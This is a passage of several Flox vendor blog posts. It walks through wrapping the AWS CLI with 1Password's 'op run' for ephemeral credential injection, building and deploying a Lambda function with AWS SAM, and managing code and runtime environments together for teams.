1Password CLI. ``` See those last two lines? The 1Password CLI expects to work with default environment variables and/or read required data from its a pre-populated configuration file. You’ll need to configure these defaults in order for the 1Password CLI to work. (See **Housekeeping Notes**, below, for a detailed walk-through.) For the present, let’s assume I’ve already performed the required bootstrapping and due diligence and that I’m champing at the bit to do something useful in AWS. So I’ll start by creating an IAM role I can use to run AWS Lambda functions. To do this, I’ll use the AWSCLIv2’s `aws` command: ``` flox [flox/aws-1pass] daedalus@parousia:~/dev/1pass$ aws iam create-role --role-name LambdaS3ExecutionRole --assume-role-policy-document file://./trust-policy.json ``` This successfully generates the following JSON: ```json { "Role": { "Path": "/", "RoleName": "LambdaS3ExecutionRole", "RoleId": "AROASBMWSY7QZEGCFNOMJ", "Arn": "arn:aws:iam::98127d00a54b:role/LambdaS3ExecutionRole", "CreateDate": "2024-07-16T19:49:03+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } } } ``` In my pre-built Flox 1Password-AWSCLIv2 environment, `aws` is actually an alias. You can create, modify, or destroy any Flox environment by making changes to [manifest.toml](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/), the configuration artifact stored in the `.flox/env/` path nested inside the environment’s project folder. A Flox manifest consists of several sections, including `[profile]`, which is where you define aliases and other shell-specific logic. For my `aws-1pass` environment, I defined the following logic in `profile`: ```bash alias aws='op run --session "${OP_SESSION_TOKEN}" --env-file <(printf "%s\n" AWS_ACCESS_KEY_ID=op://${OP_VAULT}/${OP_AWS_CREDENTIALS}/${OP_AWS_USERNAME_FIELD} AWS_SECRET_ACCESS_KEY=op://${OP_VAULT}/${OP_AWS_CREDENTIALS}/${OP_AWS_CREDENTIALS_FIELD}) -- aws' ``` This alias wraps the `aws` command, using [op run](https://developer.1password.com/docs/cli/reference/commands/run/) to fetch and inject AWS credentials from 1Password. Because of how `op run` executes, these secrets are available _only for the duration of the command_. From my perspective, I’m never prompted to enter my AWS secrets: anything I want to do using `aws` just works. The same would be true for my teammates (if I had any) because we’d all be using the same pre-built Flox environment. We’ll come back to this in **How this works**, below. For now, let me just note that the `aws iam create-role` command behaved exactly as it’s supposed to. ## Doing just about anything in AWS Now I can go ahead and attach some IAM policies to my `lambda-execution-role`: ```bash flox [flox/aws-1pass] daedalus@parousia:~/dev/1pass$ aws iam put-role-policy \ --role-name LambdaS3ExecutionRole \ --policy-name LambdaS3Policy \ --policy-document file://lambda_s3_policy.json ``` With Lambda and other services, I can use my Flox environment's `aws` alias to do almost anything I can do with the real `aws` command. If necessary, I can _also_ run the non-aliased `aws` executable at any time by typing `command aws ` in the CLI. Say I want to create an AWS Lambda function that watches an S3 bucket and triggers when a file with a `.pdf` extension gets dropped into it. First I’d build and zip up my Lambda deployment package, just like normal. Then I’d pass this command via my Floxified AWSCLIv2: ```bash aws lambda create-function \ --function-name PDFProcessor \ --runtime python3.12 \ --role arn:aws:iam::98127d00a54b:role/LambdaS3ExecutionRole \ --handler lambda_function.lambda_handler \ --zip-file fileb://lambda_function.zip \ --timeout 15 \ --memory-size 128 ``` Once again, it works! Or, at least, it’s _created_. Getting my function to run in Lambda will probably require some work. Still, output like this is a good start: ```json { "FunctionName": "PDFProcessor", "FunctionArn": "arn:aws:lambda:us-east-1:98127d00a54b:function:PDFProcessor", "Runtime": "python3.12", "Role": "arn:aws:iam::98127d00a54b:role/LambdaS3ExecutionRole", "Handler": "lambda_function.lambda_handler", "CodeSize": 15225283, "Description": "", "Timeout": 15, "MemorySize": 128, "LastModified": "2024-07-16T21:22:53.144+0000", "CodeSha256": "nAIsdrn73phOjWQAtyvWxMc8yrLqIMdTeI76xa5GaGo=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "a798235a-8e19-4d79-8677-6b196a44cd6c", "State": "Pending", "StateReason": "The function is being created.", "StateReasonCode": "Creating", "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 }, "SnapStart": { "ApplyOn": "None", "OptimizationStatus": "Off" }, "RuntimeVersionConfig": { "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:7776dee4c90fff4d4bf833b78d94e5b4148d14d044b867a14756f301ecfe1e28" }, "LoggingConfig": { "LogFormat": "Text", "LogGroup": "/aws/lambda/PDFProcessor" } } ``` The JSON-looking text is metadata associated with my Lambda function, which _should_ run, assuming that - My IAM roles and permissions are correctly configured; - The code in my `lambda_function.zip` deployment package runs correctly; and - This package also includes [all required runtime dependencies](https://flox.dev/blog/flox-and-aws-building-testing-and-deploying-lambda-functions-with-flox-and-aws-sam/). The above example involves Lambda, but you can use the aliased `aws` command to do basically anything you might want or need to do in AWS. Like create S3 buckets: ```json flox [flox/aws-1pass] 252 daedalus@parousia:~/dev/1pass$ aws s3api create-bucket --bucket these-names-are-global-so-they-gotta-be-unique --region us-east-1 { "Location": "/these-names-are-global-so-they-gotta-be-unique" } ``` Or upload files to S3: ``` flox [flox/aws-1pass] daedalus@parousia:~/dev/1pass$ aws s3 cp /mnt/arkiv/60TBarchive.zip s3://these-names-are-global-so-they-gotta-be-unique/ ``` I kid. I didn’t really upload a 60TB file. (On a side note, does [clearing throat] anyone know if AWS charges for data _ingress_, as well?) This was just my puckish attempt at showing that anything I can do with the `aws` command I can do with my alias, too. Well _almost_ anything. ## How this works As I mentioned earlier, the alias in the `[profile]` section of my Flox `aws-1pass1` environment basically functions as a wrapper for `aws`, the command you use to perform most tasks in AWSCLIv2. In my testing, the only `aws` sub-command that I can't pass to it is `aws configure`, which is a special case. It’s the command the AWSCLIv2 uses to _bootstrap its own setup_, writing data to a `config` file that lives in `~/.aws/`. Interestingly, `aws configure` expects to write sensitive data, **like your AWS Secret Access Key**, to this file. In plain text. Don’t believe me? Check this out: ```toml flox [flox/aws-1pass] daedalus@parousia:~/dev/1pass$ cat ~/.aws/credentials [default] aws_access_key_id = 31415926535897932384 aws_secret_access_key = 3141592653589793238462643383279502884197 ``` I’ve used the digits of pi to obfuscate my AWS credentials because, again, **they’re stored in plain text**. By contrast, my Flox environment doesn’t persist sensitive data anywhere. It _does_ export my AWS credentials as environment variables, but it does this in a neat way. First, it takes advantage of the built-in isolation you get with Flox itself: basically, you can access anything on your system when you’re within a Flox environment’s subshell; however, the tools, libraries, and variables inside this environment cannot be accessed from outside of it, even by other Flox environments! Any variables you export while working in a Flox environment are destroyed _the moment you exit that environment_. That’s one layer of isolation. But 1Password gives you another, super-neat way to isolate sensitive data. You can use the `op run` sub-command to spin up tasks in an ephemeral 1Password environment, which is kind of like a virtual environment—or a subshell within a subshell. When you type `aws` with one or more sub-commands, this transparently invokes `op run`, which executes the tasks associated with these commands in an ephemeral 1Password environment. It’s kind of like two layers of isolation. **tl;dr**: When you use your environment’s `aws` alias to do something, your AWS secrets exist as env variables only for as long as it takes `op run` to finish. Moreover, _they execute in a subshell inside a subshell_. ## Housekeeping notes In our rush to start doing stuff in Lambda and S3, we skipped over what you need to do to bootstrap your 1Password/AWSCLIv2 environment. This is kind of important! So let’s explore this in detail now. By default, the first time you run `op signin` from the 1Password CLI, you’ll see the following prompt: ``` No accounts configured for use with 1Password CLI. You can either: - Turn on the 1Password desktop app integration to sign in with the accounts you've added to the app: https://developer.1password.com/docs/cli/app-integration/ for details. - Add an account manually with 'op account add' and sign in by entering your password on the command line. See 'op account add --help' for details. - Authenticate using a 1Password service account by setting the 'OP_SERVICE_ACCOUNT_TOKEN' environment variable to your service account token. Learn more: https://developer.1password.com/docs/service-accounts/ - Use 1Password CLI with a Connect server by setting the 'OP_CONNECT_HOST' and 'OP_CONNECT_TOKEN' environment variables to your Connect host and token, respectively. Learn more: https://developer.1password.com/docs/connect/ Do you want to add an account manually now? [Y/n] ``` This is 1Password’s out-of-the-box setup wizard. You will need to enter the following: - Your team or organization URL - Your email address - Your 1Password secret key This data is used to generate 1Password’s `~/.config/op/config` file. If you’re a user of the 1Password CLI, there’s a good chance this file already exists. Its contents should look something like this: ```json { "latest_signin": "flox_team", "device": "", "accounts": [ { "shorthand": "flox_team", "accountUUID": "", "url": "https://", "email": "", "accountKey": "", "userUUID": "" } ] } ``` If this file _doesn’t_ already exist, you could just copy and customize this JSON, using it to bootstrap `~/.config/op/config` yourself. However, with the power of Flox, we can do even better than this! ## Using Flox to Bootstrap AWS CLI + 1Password Setup How much better? As a proof-of-concept, I built an automated setup wizard into my own `aws-1pass` environment. This wizard creates and pre-populates a 1Password `config` file with the required data and offers to set up session persistence. It also gives you the option of obtaining a 1Password session token, so you don’t have to re-authenticate each and every time you activate the environment. Since the token expires after a set period of time, it’s especially useful if you need to activate multiple instances of the same environment, or if your workflow involves exiting (i.e., destroying) and re-entering (i.e., re-launching) the environment. You can try it out yourself by running `flox activate -r barstoolbluz/aws-1pass`. Achieving this involved writing a few hundred lines of shell logic in bash. I could either have included this logic in the **`[hook]`** section of my Flox environment’s `manifest.toml` file _or_ put it into a shell script. I opted for the former pattern, mainly because I want to be able to remotely activate my `aws-1pass` environment (using **`flox activate -r`**) from FloxHub _so I always get the latest version of that environment_. Flox environments are completely declarative, so I can edit and version them directly on FloxHub. By managing my Flox environments centrally and activating them remotely, I get exactly the same experience…everywhere. This pattern scales especially well for teams too. When users `flox activate -r`, they run a locked instance of the environment, so they can’t make changes that might break it. **However**, if I were to push my environment to GitHub, GitLab, or AWS CodeCommit, I could _instead_ move this logic into a shell script—say, `bootstrap.sh`—that lives in the same repo/project folder. In this pattern, I’d build conditional logic into my Flox environment that checks for the existence of a `config` file in `~/.config/op/` and—if this file is missing or unpopulated—runs `bootstrap.sh`. This pattern gives me a way to version and manage my project’s code and runtime dependencies in GitHub, GitLab, or AWS CodeCommit. The _downside_ is that it doesn’t provide the same level of control as when users `flox activate -r` from FloxHub, because they can make changes to it locally that potentially break it. ## Making it your own So what does this look like in practice? Basically, my shell logic automates three tasks. **1. Bootstrapping the population of the 1Password `config` file**. We covered this above, in **Housekeeping Notes**. My Flox environment is specific to 1Password, but it’s simple enough to create environments with built-in logic that bootstraps Hashicorp Vault, AWS Secrets Manager, and other secrets-management tools or services, including Google Secret Manager or Azure Vault. **2. Configuring the specific field names used in the 1Password vault**. In 1Password, each item can have multiple fields, and these fields can have custom names. To retrieve your AWS secrets programmatically, you need to know the names of these fields. My setup wizard prompts you for these field names, persisting them in a session file that's used to store information about your Flox 1Password environment. This file lives in `~/.config/flox` and is called `1password.session`. Here’s an excerpt: ```bash # BEGIN 1PASSWORD AWSCLI2 BOOTSTRAP CONFIGURATION export OP_AWS_USERNAME_FIELD="username" export OP_AWS_CREDENTIALS_FIELD="credential" # END 1PASSWORD AWSCLI2 BOOTSTRAP CONFIGURATION ``` The variables `OP_AWS_USERNAME_FIELD` and `OP_AWS_CREDENTIALS_FIELD` should map to the corresponding field names in your 1Password vault. (Note: There is a complete example of the contents of this file at the end of this section.) **3. Configuring persistence for 1Password sessions**. This is helpful if you want to exit your environment and re-enter it without logging back in. This is time-limited: the logic built into the `[hook]` section of my Flox environment’s `manifest.toml` file (which lives in your project folder’s `./.flox/env/` path) grabs a short-term session token from 1Password. This token usually lives for no longer than 30 minutes. You can use booleans to turn this on or off in your `~/.config/flox/1password.session` file. See below. If you enable persistence, your tokens are stored in plain-text in `1password.session`. This is a short-term token, so it shouldn’t be a problem. But your org might have policies against this. Now, as promised, here are the contents of a populated `1password.session` file in their entirety: ```bash # BEGIN 1PASSWORD AWSCLI2 BOOTSTRAP CONFIGURATION export OP_AWS_USERNAME_FIELD="username" export OP_AWS_CREDENTIALS_FIELD="credential" # END 1PASSWORD AWSCLI2 BOOTSTRAP CONFIGURATION # BEGIN 1PASSWORD SESSION PERSISTENCE CONFIGURATION ENABLE_1PASSWORD_PERSISTENCE="true" # END 1PASSWORD SESSION PERSISTENCE CONFIGURATION # BEGIN 1PASSWORD AWSCLI2 CONFIGURATION OP_VAULT=1password OP_AWS_CREDENTIALS=awskeyz # END 1PASSWORD AWSCLI2 CONFIGURATION # BEGIN 1PASSWORD SESSION TOKEN OP_SESSION_TOKEN=DKyaoqdPpcUq2ZnRCBJYkLYcchv_RuddmpljE6-nAPc # END 1PASSWORD SESSION TOKEN ``` Again, my `aws-1pass` environment is a proof-of-concept: an ambitious example of what you can do with a shared Flox environment. I use it across several different Linux and Windows/WSL2 systems, and I'm productive with it. However, it is also customized for _my_ workflow. Think of it as a framework you can build upon and customize to suit your own needs. ## Pragmatic secrets management—for AWS and beyond Secrets management is supposed to make your life easier, but sometimes the opposite is true! Flox is your secret weapon. It’s an environment and package manager with superpowers. You can use it to create reproducible build environments of all kinds, including secure, isolated secrets-management environments that run and behave exactly the same way across dissimilar systems—in collaborative development, when you push them to CI, or in the cloud. You can easily share Flox environments or push them to FloxHub. Pulling Flox environments is exactly as straightforward as cloning repos from GitHub. The best part is that Flox gives you isolation on your own terms. You get transparent access to everything on your local system _because you’re working in an isolated environment on your local system_. If you’re missing or need to update tools or libraries, there’s no time-intensive VM or container rebuilding. Just `flox install` what you need and push your changes to FloxHub. Flox is reproducible software builds made simple! Flox has just a few commands and is easy to learn. This walk-through is a good starting point, and so is our [“Flox in Five Minutes” guide](https://flox.dev/docs). It's free [to download](https://flox.dev/docs/install-flox/) and use too. So why not give it a try? Title: Flox and AWS: Building, Testing, and Deploying Lambda Functions with Flox and AWS SAM Source: https://flox.dev/blog/flox-and-aws-building-testing-and-deploying-lambda-functions-with-flox-and-aws-sam/ Date: 2024-12-02 Category: guide # Flox and AWS: Building, Testing, and Deploying Lambda Functions with Flox and AWS SAM How to use Flox to install all the runtime dependencies you need to build and test your Lambda functions locally, and also containerize them for deployment to AWS Lambda. Flox simplifies your workflow for building, testing, and deploying functions in AWS Lambda. But talk is cheap, right? So rather than _tell_ you how Flox does this, why don’t we _show_ you? This article explores how you can use Flox to install all the runtime dependencies you need to build and test your Lambda functions _locally_, and also containerize them for deployment to AWS Lambda. **First**, Flox gives you just one place—the Flox Catalog—from which to get both up-to-date and legacy versions of AWS CLI, AWS SAM, GitHub CLI, and thousands of other dependencies. **Second**, Flox lets you _declaratively_ define not just the software packages and versions in your environment’s runtime, but variables, available services, setup and tear-down logic, alias and functions, and other affordances, too. We saved the best part for last. Using Flox, you can define both your code and runtime in the same GitHub, GitLab, or CodeCommit repo. This makes it straightforward to build, test, and deploy new Lambda functions _along with their runtime dependencies_ as part of a single, integrated workflow. Intrigued? Let’s get down to it! ## A priority directive for a new Lambda function You work for “Fluffirmations,” a social media site where pet guardians connect by sharing thoughts, images, and videos. Your monetization angle revolves around products like “Box-o-Treats,” a personalized monthly subscription package that’s delivered to a customer’s home, addressed to their pets by name. You grow your subscription revenues by driving traffic and engagement on your website and mobile app. One of Fluffirmations’ most popular features is a curated feed that lets users select pet types by species and breed, batch-scraping and analyzing platforms like TikTok, Instagram, Facebook, and Twitter to surface relevant content. With its surge in popularity, you now need to be able to scrape Bluesky as well. This is a priority directive from your CEO, who is obsessed with [Bernedoodles](https://www.reddit.com/r/Bernedoodles/). They’ve heard there’s a thriving [Bernedoodle subculture](https://bsky.app/search?q=bernedoodle) on Bluesky. You’re told to reprioritize everything to get this done. The good news is you’re using AWS Lambda and you’ve got Flox, so this isn’t as heavy a lift as it could be! ## Bootstrapping your local Lambda dev environment The first thing you do is clone the GitHub repo containing your Lambda project code. This repo also includes the runtime configuration for Lambda, located in the `.flox` folder. It’s defined in a file called `manifest.toml`, the default configuration artifact used by Flox. Once you’ve cloned your `scrape-and-sniff` project repo, you type: ``` flox activate ``` This activates your Flox `scrape-and-sniff` runtime environment, putting you into a subshell in your terminal. ``` ✅ You are now using the environment 'scrape-and-sniff'. To stop using this environment, type 'exit' Retrieving AWS credentials from Secrets Manager... Credentials retrieved successfully. ``` When your Floxified function runs in AWS Lambda, it automatically retrieves your org’s AWS credentials from the AWS Secrets Manager using the IAM role attached to your function. This way you don’t need to hard-code credentials in the container image itself. During local development, the environment uses the credentials you’ve configured for the AWS CLI, such as those in `~/.aws/credentials` or [exported as variables](https://flox.dev/blog/adding-1password-secrets-to-flox-environments/). (Note: Your Flox environment could also be configured to use the appropriate [aws-secretsmanager-caching](https://github.com/aws/aws-secretsmanager-caching-python) library, enabling you to locally cache credentials retrieved from AWS Secrets Manager.) Because you’re curious, you use **`flox list`** to see which packages are available in this environment: ``` aws-lambda-builders: python311Packages.aws-lambda-builders (python3.11-aws-lambda- aws-secretsmanager-caching: python311Packages.aws-secretsmanager-caching (python3.11-aws-secretsmanager-caching-1.1.3) builders-1.50.0) aws-sam-cli: aws-sam-cli (1.119.0) awscli2: awscli2 (2.17.0) boto: python311Packages.boto (python3.11-boto-2.49.0) curl: curl (8.8.0) github-cli: github-cli (gh-2.52.0) localstack: localstack (3.0.0) pip: python311Packages.pip (python3.11-pip-24.0) python311Full: python311Full (python3-3.11.9) sagemaker: python311Packages.sagemaker (python3.11-sagemaker-2.219.0) ``` Among other packages, you note `aws-sam-cli`, which is the CLI front-end for managing AWS Serverless Application Model (SAM) applications. You can use the `sam` tool to run your function in a local Lambda container for testing. After that, you'll use `flox containerize`** to containerize your Flox runtime so it can be deployed to AWS Lambda. Your Flox environment runs in an isolated context on your system, so you don’t have to worry about conflicts with existing, system-wide dependencies. And because it’s running _on your local system_, you get transparent access to local tools, data, secrets, and other resources. It’s like a one-way mirror you can use to look _and reach into_ your system—the complete opposite of building locally with containers or VMs. ## Kickstarting your local Lamba runtime With your local Flox runtime environment activated, you’re basically ready to fire up AWS SAM and initialize your project. You do this the same way you always do, by running ``` sam init ``` Next, you’re prompted to either choose an AWS Lambda Quick Start application template or create a custom template of your own. You opt for the former, breezing through the now-familiar setup wizard. Your configured project looks like this: ``` Project name [sam-app]: scrape-and-sniff Cloning from https://github.com/aws/aws-sam-cli-app-templates (process may take a moment) ----------------------- Generating application: ----------------------- Name: scrape-and-sniff Runtime: nodejs20.x Architectures: x86_64 Dependency Manager: npm Application Template: quick-start-web Output Directory: . Configuration file: scrape-and-sniff/samconfig.toml Next steps can be found in the README file at scrape-and-sniff/README.md Commands you can use next ========================= [*] Create pipeline: cd scrape-and-sniff && sam pipeline init --bootstrap [*] Validate SAM template: cd scrape-and-sniff && sam validate [*] Test Function in the Cloud: cd scrape-and-sniff && sam sync --stack-name {stack-name} --watch ``` The `scrape-and-sniff` folder lives inside your local repo’s project folder. Your next step is to `cd` into it so you can add your Lambda function logic to `app.js`. A snippet of this logic looks like this: ```javascript const axios = require('axios'); async function getBlueskyToken() { const blueskyAuthUrl = "https://bsky.social/xrpc/com.atproto.server.createSession"; const response = await axios.post(blueskyAuthUrl, { identifier: process.env.BSKY_USERNAME, password: process.env.BSKY_PASSWORD, }); return response.data.accessJwt; } ``` After updating `template.yaml` with your function name, the names of the temporary variables you use for Bluesky authentication, the names of your S3 buckets, and other required information, you install [Axios](https://www.npmjs.com/package/axios) and the [AWS SDK for JavaScript](https://docs.aws.amazon.com/sdk-for-javascript/v3/developer-guide/welcome.html) via `npm`. For deployment, you’ll create a `package.json` in which both are defined. You’re all set up! Now you’re ready to build and test locally. ## Running and debugging your Lambda function Flox almost always drops right into your existing workflow. This means you build, test, and deploy your Floxified Lambda function just like you’d build, test, and deploy _any_ Lambda function. If anything, this goes even faster because with Flox, everything Just Works. ``` sam build Starting Build use cache Manifest file is changed (new hash: 034dd9d287d8b04d2d2681a98a82af3a) or dependency folder (.aws-sam/deps/5521b962-495a-4aa1-a9b0-0fbf659934be) is missing for (getAllItemsFunction, getByIdFunction, putItemFunction), downloading dependencies and copying/building source Building codeuri: /home/daedalus/dev/1pass/scrape-and-sniff runtime: nodejs20.x metadata: {} architecture: x86_64 functions: getAllItemsFunction, getByIdFunction, putItemFunction Running NodejsNpmBuilder:NpmPack Running NodejsNpmBuilder:CopyNpmrcAndLockfile Running NodejsNpmBuilder:CopySource Running NodejsNpmBuilder:NpmInstall Running NodejsNpmBuilder:CleanUp Running NodejsNpmBuilder:CopyDependencies Running NodejsNpmBuilder:CleanUpNpmrc Running NodejsNpmBuilder:LockfileCleanUp Running NodejsNpmBuilder:LockfileCleanUp Build Succeeded ``` That’s (a snippet of) the output you expect to see. All looks good. Now it’s time to build and test: ``` sam local start-api No current session found, using default AWS::AccountId Initializing the lambda functions containers. Local image was not found. Removing rapid images for repo public.ecr.aws/sam/emulation-nodejs20.x Building image.....Local image was not found. Removing rapid images for repo public.ecr.aws/sam/emulation-nodejs20.x Building image.....Local image was not found. Removing rapid images for repo public.ecr.aws/sam/emulation-nodejs20.x Building image.................................................................................................................................................................. ........................................................................................................................... Using local image: public.ecr.aws/lambda/nodejs:20-rapid-x86_64. Mounting /home/daedalus/dev/1pass/scrape-and-sniff/.aws-sam/build/getByIdFunction as /var/task:ro,delegated, inside runtime container ..... Using local image: public.ecr.aws/lambda/nodejs:20-rapid-x86_64. Mounting /home/daedalus/dev/1pass/scrape-and-sniff/.aws-sam/build/getAllItemsFunction as /var/task:ro,delegated, inside runtime container ..... Using local image: public.ecr.aws/lambda/nodejs:20-rapid-x86_64. Mounting /home/daedalus/dev/1pass/scrape-and-sniff/.aws-sam/build/putItemFunction as /var/task:ro,delegated, inside runtime container Containers Initialization is done. Mounting getAllItemsFunction at http://127.0.0.1:3000/ [GET] Mounting putItemFunction at http://127.0.0.1:3000/ [POST] Mounting getByIdFunction at http://127.0.0.1:3000/{id} [GET] You can now browse to the above endpoints to invoke your functions. You do not need to restart/reload SAM CLI while working on your functions, changes will be reflected instantly/automatically. If you used sam build before running local commands, you will need to re-run sam build for the changes to be picked up. You only need to restart SAM CLI if you update your AWS SAM template 2024-12-01 14:16:32 WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Running on http://127.0.0.1:3000 2024-12-01 14:16:32 Press CTRL+C to quit ``` Working locally with Flox and SAM, you’re able to go much faster than you otherwise could. You iteratively debug your Lambda function, fixing issues as you identify them. Occasionally you need to update `template.yaml`, which entails re-running `sam build`. Before long, you’ve got your function to the point where it seems to run reliably in your local SAM Lamba instance. Thanks to Flox and SAM, you’re also able to quickly create and run unit tests, along with local smoke tests, basic integration tests, and even soak tests. Now you're ready to containerize your Lambda function and Flox runtime. ## Containerize, push to ECR, and deploy in Lambda This is the easiest part! You just run ``` flox containerize -d ./ --runtime=podman --tag bluesky-scrape-and-sniff ``` This does the following: - `-d ./` specifies the current directory, which contains the .flox directory; - `--runtime=podman` tells Flox to use load the image into Podman; - `--tag bluesky-scrape-and-sniff` tags the container image. Now it's time to push your Floxified container runtime to [AWS ECR](https://aws.amazon.com/ecr/), your container registry. To do this, you would run your own variation of the commands below, adjusted to suit your circumstances. In this walk-through's scenario, you’ll first authenticate Podman (or Docker) with ECR... ``` aws ecr get-login-password --region us-east-1 | podman login --username AWS --password-stdin 314159265358.dkr.ecr.us-east-1.amazonaws.com ``` … then tag the image ``` podman tag bluesky-scrape-and-sniff:latest 314159265358.dkr.ecr.us-east-1.amazonaws.com/bluesky-scrape-and-sniff:latest ``` … then push the image to your ECR repo ``` podman push 314159265358.dkr.ecr.us-east-1.amazonaws.com/bluesky-scrape-and-sniff:latest ``` … and, finally, verify what you’ve done: ``` aws ecr list-images --repository-name bluesky-scrape-and-sniff --region us-east-1 ``` From there, you can pull your container image from ECR and deploy it to AWS Lambda, whether to a `test`, `stage` or `prod` alias. The environment in this walk-through was built on an x86 laptop running Linux. It's designed to be deployed to AWS Lambda on x86-64. But you could also containerize the same environment, [_with optimized software packages_](https://flox.dev/docs/tutorials/multi-arch-environments/), for Lambda on Amazon’s AWS Graviton (i.e., 64-bit ARM) vCPUs. ## Re:Inventing local dev for AWS AWS Lambda simplifies deployment, but it still poses challenges when it comes to ensuring that the artifacts you build locally and test in CI environments _outside of Lambda_ run predictably and behave as expected when deployed to AWS Lambda itself. With Flox, you can easily build and test locally, containerize what you’ve built, push the resulting image to your container registry, test it in CI, then deploy it to Lambda. The same environment Just Works everywhere. Curious about what you’ve read? Why not [Download Flox](https://flox.dev/docs/get) and put it to the test? You can get started in [less than five minutes](https://flox.dev/docs/install-flox/)! Title: Flox and Teams: Managing Your Code and Your Runtime Environment in Just One Place Source: https://flox.dev/blog/flox-and-teams-managing-your-code-and-your-runtime-environment-in-just-one-place/ Date: 2024-11-22 Category: guide # Flox and Teams: Managing Your Code and Your Runtime Environment in Just One Place Flox lets you manage both your code and your project environment’s runtime dependencies in the same repository, so your environment’s configuration becomes part of your codebase. For teams, the best part about using Flox is how it eliminates so much drudge work. It’s no longer a grind to [onboard](https://flox.dev/blog/flox-and-teams-onboarding-made-easy-with-github-and-flox/) onto a new team or project. Fixing, managing, or recreating your local dev environment (or those of your teammates) is no longer a weekly ordeal. Gone, too, are the problems that always seem to pop up whenever it’s time to share what you’ve built, to test it in CI, or run it in prod. Flox also puts an end to the most frustrating drudgery of all: working around [the operational drag](https://flox.dev/blog/flox-and-teams-using-shared-flox-environments/) that slows your team down and makes it so. darned. hard. to collaborate on building and shipping reliable software. But did you know Flox also reduces the drudge work (and drag) in _refactoring_ projects? That you can define both your project and its runtime as code, enabling features and dependencies to be reviewed, tested, and deployed together? You didn’t? Strap in, because that’s the subject of this article! ## 1. Adding a Feature to a Project Your company’s design team has created a new palette for its customer portal’s theming system, consisting of both light and dark themes. Your team gets assigned the task of implementing this, and _you_ draw the short straw/golden ticket, owing to your expertise with front-end tools. You select [Dart Sass](https://github.com/sass/dart-sass) because it supports variables and mixins for theming, and because it works well with the Node.js and React stack you're using. _Selecting_ a tool is the easy part. Now comes the drudge work! First you’ve got to update the project’s README so you can document which version of Dart Sass you’re using, along with the steps involved in installing it. And because you’re using containers, you’re also going to have to edit a Dockerfile, rebuild the project’s container, and test the rebuilt container—just so you can work locally on your MacBook Pro. Then, after that, you’re going to—_But wait_, you think, _I’m using Flox. I don’t have to do any of this_! With Flox, you don’t have to touch containers, let alone spin up a multi-container runtime locally. Adding Dart-Saas to your project is as simple as `git clone`-ing your project, changing into it, and running ``` flox install dart-sass ``` That really is it. Nested inside your project repo, tucked in with other dotfolders like `.git`, `.gitignore`, and `.ci`, is a folder named `.flox`. The contents of this folder consist of at least three files: - An environment configuration manifest (`manifest.toml`), which lives in `./flox/env/`; - An environment configuration lockfile (`manifest.lock`), which also lives in `./flox/env/`; and - An environment definition file (`env.json`), which lives in `.flox` itself. To copy these files and an environment’s folder structure is to copy the environment. This makes it almost as easy to `git push` a project repo containing a `.flox` environment to GitHub as it is to `git clone` it. ## Have Code and Runtime, Will Travel Once you’ve cloned your repo and `flox install`-ed the Flox Catalog’s `dart-sass` package, you can make the code changes required to enable theming support. These include: - Defining SCSS variables for distinct light and dark themes in `themes.scss`; - Creating a new JavaScript function in `src/theme.js` to enable theme toggling; - Adding logic to persist the theme choice in [localStorage](https://javascript.info/localstorage) so it’s retained across sessions; - Modifying `index.js` to initialize the correct theme when your web app loads. With Flox you can manage both your code and your project environment’s dependencies _in the same repository_, such that the environment’s configuration becomes part of the project's codebase. The beauty of this is that when you `git push` your branch back to origin/main and create a pull request (PR), your PR includes not only the feature code—the updates to `themes.scss`, `src/theme.js`, and `index.js`—but also the Flox environment’s updated configuration. By _defining both the project and the environment as code_, the entire feature and its dependencies can be reviewed, tested, and deployed atomically. ## 2. Changing Services in a Project Imagine you maintain a Go-based service that provides low-latency access to templates, user-submitted data, and competition states for a mobile gaming app. You run multiple instances of your service in [Fly Kubernetes](https://fly.io/docs/kubernetes/) pods, dynamically scaling them to meet demand. Each instance has its own MySQL database, because your service needs ACID transactional safeguards to support concurrent operations. The choice of MySQL was made by your predecessor. However, your service syncs leaderboard rankings, player inventory updates, and gameplay analytics to a central database, which is currently Oracle but will soon be replaced by PostgreSQL. For the better part of a week, you’ve been refactoring and testing your service with PostgreSQL instead of MySQL. The good news is that your service is built using Flox! So believe it or not, you’re _almost_ ready to ship your project to CI. While you still need to refactor your code to work with PostgreSQL, swapping out one relational database for another in your runtime was a non-issue. Strangely, unexpectedly, this turned out to be the very definition of "easy." After cloning your project, all you had to do was run **`flox remove mysql`** to uninstall the existing mysql package, followed by **`flox install postgresql@15.7`** to define a pinned version of PostgreSQL for your environment. Finally, you had to replace your existing MySQL environment variables with PostgreSQL-specific versions, add some bootstrapping shell logic, and define a `postgresql` service. You modified just one file, your Flox environment’s [manifest.toml](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/) configuration artifact, copying the variables, shell logic, and service definitions from an existing Flox [PostreSQL example environment](https://flox.dev/blog/flox-1.3-simplified-service-management-with-flox) and modifying them to suit your requirements. You didn’t have to worry about updating or debugging any of the dependencies in your environment, because Flox figures that out for you. Automatically. ## Bigger, Better, Faster Testing Let's recap: Rebuilding and testing your Go service’s runtime environment took you all of … 30 minutes? Plus, you inherited your PostgreSQL schema from the upstream database, so initializing and testing that took maybe another 30 minutes? Forty-five minutes tops? This allowed you to move quickly into tracing errors, fixing bugs, ferreting out corner cases, and writing unit tests to validate query behavior and performance against the co-located PostgreSQL database. Flox helped accelerate these tasks, too. For one thing, it gave you a way to run an exact replica of your production service on your system, with transparent access to all your local tools, data, variables, and secrets. For another, your Flox environment _is defined as code_, so making changes to it doesn't involve debugging and rebuilding a containerized runtime, or cutting through a Gordian Knot of dependency conflicts. Thanks to Flox, you were even able to _expand_ the scope of your testing, designing and running - **Smoke tests** to catch regressions early; - **Basic integration tests** to validate schema compatibility with the upstream database; and - **Basic soak tests** to validate performance under simulated production-like conditions. Your local testing is done, which means that—for the moment—your work is done. It’s time to `git push` your branch back to `origin` and create a PR. Your service has a ways to go before it’s ready to be deployed, including undergoing a gamut of tests in CI, followed by a lengthy try-out in staging. But at least you know it will run and behave exactly as expected in those contexts. ## Making Software Engineering Fun Again With Flox, developing and 